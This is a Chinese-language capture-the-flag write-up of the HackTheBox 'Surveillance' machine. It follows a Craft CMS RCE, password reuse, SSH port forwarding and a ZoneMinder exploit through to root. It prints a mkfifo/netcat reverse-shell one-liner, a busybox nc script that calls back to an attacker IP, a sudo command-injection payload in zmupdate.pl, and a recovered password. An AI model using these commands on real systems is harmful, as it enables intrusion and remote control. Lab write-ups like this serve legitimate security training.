【渗透测试】Surveillance - HackTheBox,网络摄像头渗透+SSH端口转发访问本地资源

靶场信息

  • 系统:Linux
  • 难度:中等

预枚举Pre Enum

Nmap

Nmap scan report for bogon (10.10.11.245)
Host is up (0.36s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_  256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://surveillance.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

只有80端口,写入hosts后访问

Web信息枚举&攻击 Web Enum & ATT

访问http://surveillance.htb/发现CraftCMS,view-source看到版本4.4.14
在这里插入图片描述

gobuster扫描目录发现/admin后台

└─$ gobuster dir -u http://surveillance.htb/ -w /usr/share/seclists/Discovery/Web-Content/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://surveillance.htb/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess            (Status: 200) [Size: 304]
/.gitkeep             (Status: 200) [Size: 0]
/admin                (Status: 302) [Size: 0] [--> http://surveillance.htb/admin/login]
/css                  (Status: 301) [Size: 178] [--> http://surveillance.htb/css/]
/fonts                (Status: 301) [Size: 178] [--> http://surveillance.htb/fonts/]
/images               (Status: 301) [Size: 178] [--> http://surveillance.htb/images/]
/img                  (Status: 301) [Size: 178] [--> http://surveillance.htb/img/]
/index                (Status: 200) [Size: 1]
/index.php            (Status: 200) [Size: 16230]
/js                   (Status: 301) [Size: 178] [--> http://surveillance.htb/js/]
/logout               (Status: 302) [Size: 0] [--> http://surveillance.htb/]
/web.config           (Status: 200) [Size: 1202]
/wp-admin             (Status: 418) [Size: 24409]
Progress: 4723 / 4724 (99.98%)
===============================================================
Finished
===============================================================

网上找到Craft CMS 4.4.14的RCE

http://www.bmth666.cn/2023/09/26/CVE-2023-41892-CraftCMS%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/

Github有现成的poc也能打

https://gist.github.com/gmh5225/8fad5f02c2cf0334249614eb80cbf4ce

改一下脚本,因为很多人都在打,WebShell的文件名可能冲突

拿到www-data权限 Get www-data

通过这个脚本拿到shell
在这里插入图片描述

这个Shell非常不稳定,需要做一个权限维持,学到一个新的Linux权限维持方法

rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc 10.10.x.x 4444 >/tmp/f
  1. rm /tmp/f
    • 删除任何名为的现有文件/tmp/f 以重新开始。
  2. mkfifo /tmp/f
    • 创建名为/tmp/f的命名管道 (FIFO)。命名管道支持进程之间的通信。
  3. cat /tmp/f | /bin/bash -i 2>&1
    • 从命名管道 (/tmp/f) 读取内容,并使用 选项将内容通过管道传送到 /bin/bash 以实现交互式外壳。-i
    • 2>&1将标准错误(文件描述符 2)重定向到标准输出(文件描述符 1),确保错误消息通过管道发送。
  4. nc 10.10.x.x 4444 >/tmp/f
    • 在端口 上建立与 IP 地址 的 Netcat (nc) 连接。10.10.x.x``4444
    • 将管道的整个输出(包括 Bash shell 的输出)重定向到命名管道/tmp/f。此操作通过将 shell 输出发送回命名管道来创建双向通信通道。

在这里插入图片描述

在信息枚举的过程中,从/etc/passwd中发现三个重要的用户
在这里插入图片描述

两个用户matthew,zoneminder可以登录该机器,同时还有一个backup用户,它的家目录是/var/backups
这个备份下都是Linux系统备份,没有太大意义
在craft的目录下,我们找到了一个数据库备份文件(sql.zip)
在这里插入图片描述

本地重建起来,一顿手搓发现该站点admin用户的hash,真实名字是Matthew,之前/etc/passwd中也有Matthew用户,很可能密码复用
在这里插入图片描述

拿到 matthew 权限 Get matthew

识别一下hash的类型
在这里插入图片描述

这里用hashcat爆破一下1400
在这里插入图片描述

用这个密码撞一下Matthew用户,ssh连接成功

zoneminder相关信息枚举 Enum zoneminder

手动枚举了一些没有发现可利用点,上传linpeas生成报告
似乎是zoneminder用户的相关密码,先收集下来作为字典以便密码喷洒
在这里插入图片描述

同样在数据库中也还有一个密码
在这里插入图片描述

一个关注了的微信公众号发了一条推送,是讲zoneminder的一个CVE

https://mp.weixin.qq.com/s/2gVhO-ibtdjc3Ew2kpsXWw

从中得知zoneminder是一个监控摄像机的软件,所以结合这台机器的名字,这应该是一款网络摄像头
所以我寻找zoneminder相关的信息
在这里插入图片描述

有一个nginx的配置文件

server {
    listen 127.0.0.1:8080;
    
    root /usr/share/zoneminder/www;
    
    index index.php;
    
    access_log /var/log/zm/access.log;
    error_log /var/log/zm/error.log;
    
    location / {
        try_files $uri $uri/ /index.php?$args =404;
       
        location ~ /api/(css|img|ico) {
            rewrite ^/api(.+)$ /api/app/webroot/$1 break;
            try_files $uri $uri/ =404;
        }

        location /api {
            rewrite ^/api(.+)$ /api/app/webroot/index.php?p=$1 last;
        }

        location /cgi-bin {
            include fastcgi_params;
            
            fastcgi_param SCRIPT_FILENAME $request_filename;
            fastcgi_param HTTP_PROXY "";
            
            fastcgi_pass unix:/run/fcgiwrap.sock;
        }
        
        location ~ \.php$ {
            include fastcgi_params;
            
            fastcgi_param SCRIPT_FILENAME $request_filename;
            fastcgi_param HTTP_PROXY "";
            
            fastcgi_index index.php;
            
            fastcgi_pass unix:/var/run/php/php8.1-fpm-zoneminder.sock;
        }
    }
}

可以发现zoneminder部署在本地,这时候学到一个新姿势

SSH端口转发访问到本地资源

ssh -L 33333:127.0.0.1:8080 matthew@surveillance.htb

surveillance.htb的本地8080端口转发到kali本地的33333端口
然后我们就能在浏览器访问127.0.0.1:33333从而访问到ZoneMinder
在这里插入图片描述

攻击zoneminder ATT ZM

肯定是首先尝试弱口令,google一下搜到默认口令admin/admin,失败
在这里插入图片描述

在ZM本地部署的路径下/usr/share/zoneminder/www找到一组Config,找到ZM版本是1.36.32
在这里插入图片描述

与上面微信公众号推送里面适配度也太高了吧
直接拿里面的POC打
在这里插入图片描述

拿到Root权限 Get Root

拿到zoneminder用户的shell,sudo -l
在这里插入图片描述

通过分析/usr/bin/zmupdate.pl文件发现可以输入文件目录而不是用户
在这里插入图片描述

用nc反弹shell,这里需要用busybox调用nc

#!/bin/bash                                         
busybox nc 10.10.14.77 3333 -e sh

然后在加上之前找到的密码ZoneMinderPassword2023

sudo /usr/bin/zmupdate.pl --version=1 --user='$(/tmp/rev.sh)' --pass=ZoneMinderPassword2023

在这里插入图片描述
Pwned!!!

在这里插入图片描述

总结

一个网络摄像头的靶机,部署craftcms WEB服务,本地部署zoneminder服务视频监控

  1. web一眼看到是Craft CMS,之前ACTF差不多,直接拿GitHub里面的POC一把梭,拿到www-data权限
  2. 在Web目录下找到一个数据库备份文件,保存下来在自己的本地重建数据库,发现Matthew用户的hash,密码复用拿到matthew的权限
  3. linpeas自动枚举发现很多信息指向zoneminder,针对性的搜索发现zonemindernginx部署在本地,使用SSH端口转发成功访问到机器的本地资源
  4. 用佬的POC又是一把梭拿到zoneminder的权限,sudo提权拿到root权限
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值